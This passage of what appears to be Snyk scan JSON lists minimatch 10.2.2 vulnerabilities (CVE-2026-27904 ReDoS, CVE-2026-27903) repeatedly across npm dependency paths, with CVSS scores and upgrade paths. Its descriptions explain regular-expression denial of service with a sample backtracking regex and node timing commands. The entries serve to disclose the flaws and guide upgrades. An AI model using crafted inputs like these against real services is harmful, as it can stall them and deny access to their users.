`ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service 